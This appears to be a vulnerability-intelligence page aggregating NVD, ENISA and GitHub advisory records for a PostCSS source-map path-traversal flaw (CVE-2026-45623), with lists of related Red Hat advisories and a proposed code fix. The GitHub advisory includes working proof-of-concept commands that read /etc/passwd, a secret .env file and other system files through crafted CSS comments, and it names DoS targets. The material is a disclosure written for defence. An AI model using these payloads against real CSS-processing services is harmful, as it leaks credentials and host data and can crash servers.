CVE-2024-29180 · CVE-2026-1965 · CVE-2026-3783 · CVE-2026-5704 · CVE-2026-6322 · CVE-2026-6653 · CVE-2026-8286 · CVE-2026-9547 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-11979 · CVE-2026-14164 · CVE-2026-15588 · CVE-2026-18477 · CVE-2026-18508 · CVE-2026-41991 · CVE-2026-41992 · CVE-2026-45409 · CVE-2026-45623 · CVE-2026-54284 · CVE-2026-54371 · CVE-2026-56434 · CVE-2026-58010 · CVE-2026-58011 · CVE-2026-58012 · CVE-2026-58013 · CVE-2026-58014 · CVE-2026-58015 · CVE-2026-58055 · CVE-2026-59868 · CVE-2026-59869 · CVE-2026-59893 · CVE-2026-60005 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-71491 · CVE-2026-73643 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76844
RHSA-2026:65852: Red Hat Security Advisory: OpenShift Container Platform 4.18.55 bug fix and security update
CVE-2026-14362 · CVE-2026-25681 · CVE-2026-33814 · CVE-2026-39829 · CVE-2026-42965 · CVE-2026-43003 · CVE-2026-44918 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-54284 · CVE-2026-54423 · CVE-2026-56852 · CVE-2026-59869 · CVE-2026-66138 · CVE-2026-69153
RHSA-2026:74609: Red Hat Security Advisory: Cluster Observability Operator 1.5.3
CVE-2026-19534 · CVE-2026-39244 · CVE-2026-41178 · CVE-2026-42504 · CVE-2026-45623 · CVE-2026-56864 · CVE-2026-56865 · CVE-2026-59887 · CVE-2026-63199 · CVE-2026-71556 · CVE-2026-73086 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-84292 · CVE-2026-84394 · CVE-2026-84445 · CVE-2026-84961 · CVE-2026-92000 · CVE-2026-100690
RHSA-2026:59561: Red Hat Security Advisory: Kiali 2.11.16 for Red Hat OpenShift Service Mesh 3.1
CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:63373: Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-frontend-rhel9 container image
CVE-2026-12143 · CVE-2026-45623 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:70587: Red Hat Security Advisory: OpenShift Container Platform 4.17.58 bug fix and security update
CVE-2026-14362 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-42965 · CVE-2026-43003 · CVE-2026-44918 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-48801 · CVE-2026-54284 · CVE-2026-54423 · CVE-2026-56852 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-66138 · CVE-2026-69153 · CVE-2026-75885 · CVE-2026-75886 · CVE-2026-75887
- Source published
- Jul 27, 2026, 5:23:13 PM (timezone not stated)
- Source modified
- Jul 27, 2026, 5:44:31 PM (timezone not stated)
- Saved here
- 16 Nov 2026 01:10:57 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvd · CVE-2026-45623
PublishedPostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. In versions 8.5.11 and prior, the PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). This issue has been fixed in version 8.5.12.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-22 · CWE-200
Original publisher date fields
published: 2026-07-27T18:16:55.130
lastModified: 2026-08-07T00:13:41.957
1 source CPE criteria · context only
- cpe:2.3:a:postcss:postcss:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 27 Jul 2026 18:16:55 UTC
- Source modified
- 7 Aug 2026 00:13:41 UTC
- Saved here
- 25 Oct 2026 10:17:33 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 3.1 · [email protected] · Primary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
osv · GHSA-6g55-p6wh-862q
Published## Summary PostCSS's `PreviousMap` parses the `/*# sourceMappingURL=PATH */` comment from any CSS string passed to `process()` and dereferences `PATH` against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting `JSON.parse` `SyntaxError` message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no `from`, no `map`, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). ## Details The dangerous chain lives in `lib/previous-map.js` and is wired into every `Input` construction at `lib/input.js:70-77`. `Input` constructor (`lib/input.js:70-77`): ```js if (pathAvailable && sourceMapAvailable) { let map = new PreviousMap(this.css, opts) if (map.text) { this.map = map let file = map.consumer().file if (!this.file && file) this.file = this.mapResolve(file) } } ``` `PreviousMap` constructor (`lib/previous-map.js:17-29`): ```js constructor(css, opts) { if (opts.map === false) return this.loadAnnotation(css) this.inline = this.startWith(this.annotation, 'data:') let prev = opts.map ? opts.map.prev : undefined let text = this.loadMap(opts.from, prev) ... } ``` Note `opts.map === false` is the only short-circuit. With default options (`opts.map === undefined`), the rest of the constructor — including the filesystem read — executes. `loadAnnotation` (`lib/previous-map.js:72-84`) extracts the URL **without sanitisation**: ```js loadAnnotation(css) { let comments = css.match(/\/\*\s*# sourceMappingURL=/g) if (!comments) return let start = css.lastIndexOf(comments.pop()) let end = css.indexOf('*/', start) if (start > -1 && end > -1) { this.annotation = this.getAnnotationURL(css.substring(start, end)) } } ``` `getAnnotationURL` (`lib/previous-map.js:59-61`) only strips the `/*# sourceMappingURL=` prefix and trims whitespace — no scheme check, no path normalisation, no allowlist. `loadMap` (`lib/previous-map.js:124-128`) — when `prev` is absent and the annotation is not an inline `data:` URI: ```js } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) return this.loadFile(map) } ``` * If `opts.from` is unset, `file` is undefined and the raw attacker-supplied path (e.g. `/etc/passwd`) is used directly. * If `opts.from` is set, `path.join(dirname(file), attackerPath)` is used. `path.join` does **not** block `..` segments, so `../../../../../etc/passwd` resolves outside the intended directory. `loadFile` (`lib/previous-map.js:86-92`) is the sink: ```js loadFile(path) { this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } } ``` The bytes are stored in `this.text`. `Input` immediately invokes `map.consumer()` (`lib/input.js:74`), which constructs a `SourceMapConsumer` (`lib/previous-map.js:33`). When the file is not valid source-map JSON (the common case), `source-map-js` calls `JSON.parse`, and V8's `SyntaxError` message embeds the first ~10 bytes of the file content: ``` Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker. Trust-boundary analysis: * Attacker controls: CSS input passed to `postcss().process(css, opts?)`. * Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, `/etc/passwd`, `/proc/self/environ`, etc. * No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (`startWith(annotation, 'data:')`) routes inline URIs to `decodeInline`; everything else hits `loadFile`. Primitives obtained: * (a) **Arbitrary file read** — bytes loaded into Node memory. * (b) **Information disclosure** — first ~10 bytes leaked via `JSON.parse` `SyntaxError` message. * (c) **File-existence oracle** — non-existent paths return silently from `loadFile` (`existsSync` is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states. * (d) **DoS primitive** — directing the read at `/dev/zero`, very large files, or device files can stall or crash the process. ## PoC All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0. **Vector 1 — Absolute path, default options (no `from`, no `map`):** ```bash $ node -e 'const p=require("postcss"); \ try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \ catch(e){console.log(e.message)}' Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` The first 10 bytes of `/etc/passwd` (`root:x:0:0`) are leaked. **Vector 2 — Relative `..` traversal with `opts.from` set (simulates a build pipeline that pins `from` to the source file):** ```bash $ node -e 'const p=require("postcss"); \ p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \ {from:"/var/www/html/styles/main.css", map:{inline:false}}) \ .catch(e=>console.log(e.message))' Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` `path.join('/var/www/html/styles', '../../../../../etc/passwd')` resolves to `/etc/passwd`. **Vector 3 — File-existence oracle:** ```bash # Existing non-JSON file → throws (file confirmed to exist) $ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")' SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON # Non-existent file → returns silently (file confirmed absent) $ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")' ok ``` **Vector 4 — Custom file-content leak:** ```bash $ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env $ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1 SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON ``` The first 10 bytes of `/tmp/server-secret.env` (`API_KEY=sk`) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix. **Filesystem-call trace** (proves the read happens with no opts at all): ```js const fs = require('fs'); const orig = fs.readFileSync; fs.readFileSync = function(p){ if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p); return orig.apply(this, arguments); }; require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */'); // → [FILE READ]: /etc/hostname // → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON ``` ## Impact * **Arbitrary file read** of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack `postcss-loader`, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed. * **Confidentiality leak** of the first ~10 bytes of the targeted file via `JSON.parse` `SyntaxError`. This is enough to recover SSH-key headers, environment-variable prefixes (`API_KEY=sk…`), `/etc/passwd` records, the start of `/proc/self/environ`, and other high-value secrets, and to fingerprint the host (`Debian-tri…` from `/etc/hostname`). * **File-existence oracle** with three distinguishable response states (silent success, `JSON.parse` error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files. * **DoS** by targeting `/dev/zero`, `/proc/kcore`, very large files, or named pipes — `readFileSync` is a synchronous, unbounded read. * **Default-on**: triggered with `postcss().process(css)` and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose `{ map: false }`. ## Recommended Fix The root cause is that `loadFile` accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes: 1. **Refuse traversal/absolute paths in `loadMap`** (defence-in-depth): ```js // lib/previous-map.js loadMap(file, prev) { if (prev === false) return false if (prev) { /* unchanged */ } else if (this.inline) { return this.decodeInline(this.annotation) } else if (this.annotation) { let annotation = this.annotation // Reject schemes (other than data:, handled above) and absolute paths. if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return if (require('path').isAbsolute(annotation)) return if (!file) return // No base path → cannot safely resolve. const base = require('path').resolve(require('path').dirname(file)) const resolved = require('path').resolve(base, annotation) // Refuse anything that escapes the base directory. if (resolved !== base && !resolved.startsWith(base + require('path').sep)) { return } return this.loadFile(resolved) } } ``` 2. **Require explicit opt-in to follow on-disk source-map annotations**: gate the `loadFile(map)` call in `loadMap` behind an option such as `opts.map.annotation === true` or `opts.map.followAnnotation === true`. Today, the only way to opt out is `{ map: false }`, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted. A user-facing changelog entry should warn that `postcss().process(untrustedCss)` previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.
- Source published
- 23 Jul 2026 15:06:16 UTC
- Source modified
- 10 Sep 2026 03:51:10 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Publisher rating · HIGH